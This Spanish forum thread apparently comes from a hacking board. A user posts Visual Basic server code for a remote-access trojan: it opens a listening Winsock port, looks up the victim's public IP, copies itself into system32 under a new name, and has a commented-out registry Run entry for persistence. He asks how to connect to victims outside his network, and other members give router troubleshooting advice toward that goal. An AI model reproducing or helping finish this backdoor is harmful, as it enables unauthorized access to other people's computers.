Problema conexion Winsock

[lopiv2]

Hola a todos. Soy nuevo aki. Encontre por aki diversos codigos para hacer troyanos, y elegi el de conexion directa con el servidor. Hasta ahi bien, pero cuando me intento conectar con una ip publica, por ejemplo la mia, el winsock no conecta, se queda en estado de conexion "conectando", sin embargo si pongo la ip 127.0.0.1, me conecta y me funciona todo a la perfeccion. Querria saber si alguien sabe como arreglar este problema. He abierto los puertos necesarios con el router, y sigue sin funcionar, asi que ahi me he kedao. Este es el codigo del server:

Private Declare Function URLDownloadToF ile Lib "urlmon" _
   Alias "URLDownloadToF ileA" _
  (ByVal pCaller As Long, _
   ByVal szURL As String, _
   ByVal szFileName As String, _
   ByVal dwReserved As Long, _
   ByVal lpfnCB As Long) As Long
   
Private Declare Function DeleteUrlCache Entry _
    Lib "Wininet.dll" Alias "DeleteUrlCache EntryA" _
    (ByVal lpszUrlName As String) As Long


Public Function GetPublicIP()
   Dim sSourceUrl As String
   Dim sLocalFile As String
   
   Dim hfile As Long
   Dim buff As String
   
   Dim pos1 As Long
   Dim pos2 As Long
   
   sSourceUrl = "
Para ver este enlace Registrate o Inicia Sesion" & _
        "tools/getpublicip.shtml"
   
   sLocalFile = "c:\ip.txt"
   
   Call DeleteUrlCache Entry(sSourceUrl)
   
   If DownloadFile(sSourceUrl, sLocalFile) Then
      hfile = FreeFile
     
      Open sLocalFile For Input As #hfile
         buff = Input$(LOF(hfile), hfile)
      Close #hfile
     
      pos1 = InStr(buff, "var ip =")
     
      If pos1 Then
         pos1 = InStr(pos1 + 1, buff, "'", _
            vbTextCompare) + 1
         pos2 = InStr(pos1 + 1, buff, "'", _
            vbTextCompare) '- 1
         GetPublicIP = Mid$(buff, pos1, pos2 - pos1)
      Else
         GetPublicIP = "No se pudo obtener tu IP real"
      End If
     
      Kill sLocalFile
   Else
      GetPublicIP = "No se pudo obtener tu IP real"
   End If
End Function

Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
  DownloadFile = URLDownloadToF ile(0, sURL, _
    sLocalFile, 0, 0) = ERROR_SUCCESS
End Function

Private Sub Command1_Click()
    Text2.Text = GetPublicIP
End Sub
Option Explicit

Private Sub Form_Load()
On Error Resume Next
Dim ejec As String
Dim win
Dim sys
Dim obj
Dim residencia
ws.LocalPort = 1066 'asigna el puerto al winsock
ws.Listen 'deja a la escucha el puerto
ejec = App.Path 'le pasamos a la variable la ruta del exe que ejecute la victima
If Right(ejec, 1) <> "\" Then ejec = ejec & "\" 'si no tiene la "\" al final, se la añadiremos
ejec = ejec & App.EXEName & ".exe" 'añadimos a la ruta del exe, el nombre y la extension
Set obj = CreateObject("Scripting.File SystemObject") 'declaramos un objeto tipo fileSystem object
Set win = obj.GetSpecial Folder(0) 'para obtener la carpeta de windows y system
Set sys = obj.GetSpecial Folder(1)
win = LCase(win) 'las ponemos en minusculas
sys = LCase(sys)
FileCopy ejec, sys & "\nombre1" 'copia a windows\system32
Name sys & "\nombre1" As sys & "\nombre2.exe" 'renombra
'Set residencia = CreateObject("WScript.Shell")
'residencia.Reg Write "HKEY_CURRENT_U SER\Software\Microsoft\Windows\CurrentVersion\Run\" & "nombre3", sys & "\nombre2.exe" 'esto modifica el registro para que se ejecute al iniciar el pc
'Kill "C:\Documents and Settings\All Users\Men

[capuig]

No me he leido el codigo del programa, pero me gustaria preguntarte desde donde estas intentando conectar a tu ip publica. Porque si es dentro de una red has de poner la ip que tiene el pc en la red, y si lo estás intentanto en tu propio pc no se conectarà con tu ip pública (solo con "localhost" o 127.0.0.1).
NOS VEMOS...

[lopiv2]

Intento conectar al servidor desde una red local que tengo en casa. Efectivamente solo funciona con mi IP de red local, la 127.0.0.1 y localhost. Entonces yo lo que querria saber es como conectar al servidor instalado en la victima usando su IP publica, no la mia, y desde mi red local. Gracias.

[capuig]

SI EL PC VICTIMA Y ATACANTE se encuentran en la misma red solo sera posible conectar con ellos a traves d ela ip interna (i mas facil no?).
NOS VEMOS...

[lopiv2]

No, no me explico bien. Yo quiero mandar el servidor a otra persona ajena a mi red. El problema es, si intento conectar a dicho servidor con el cliente que esta en mi red, si pongo la ip publica de la victima, el winsock se queda conectando, pero no conecta. Es decir, mandar un troyano como se manda normalmente, a una persona ajena a mi red, no tiene ningun sentido mandarme un troyano a mi mismo en mi red de mi casa. La pregunta es como conectar a este servidor, ya que no se si no conecta a dicho servidor porque estoy en una red local con router.

[ranefi]

No, no me explico bien. Yo quiero mandar el servidor a otra persona ajena a mi red. El problema es, si intento conectar a dicho servidor con el cliente que esta en mi red, si pongo la ip publica de la victima, el winsock se queda conectando, pero no conecta. Es decir, mandar un troyano como se manda normalmente, a una persona ajena a mi red, no tiene ningun sentido mandarme un troyano a mi mismo en mi red de mi casa. La pregunta es como conectar a este servidor, ya que no se si no conecta a dicho servidor porque estoy en una red local con router.

Sabes, es probable que tu problema se deba a el encaminador (router) que tienes, normalmente dichos routers tienen un filtro (como una pared de fuego) que impide el acceso a la red interna de una oficina u hogar, entonces, por ende, si no se puede entrar, tampoco se podrá salir. La solución sería que configuraras tu router para que aceptara cualquier IP. Nos vemos.

[lopiv2]

Vale, y sabiendo eso, me meto en la configuracion del router, y en que apartado tengo q poner las ips q dejo entrar, aunque esto es un poco arriesgado, porque sino podria entrar cualquiera en mi ordenador.

[ranefi]

Vale, y sabiendo eso, me meto en la configuracion del router, y en que apartado tengo q poner las ips q dejo entrar, aunque esto es un poco arriesgado, porque sino podria entrar cualquiera en mi ordenador.

Emmm sí, es más o menos arriesgado. Con respecto a la configuración de tu router, te recomiendo que consultes el manual oficial o en su defecto la página oficial. Nos vemos.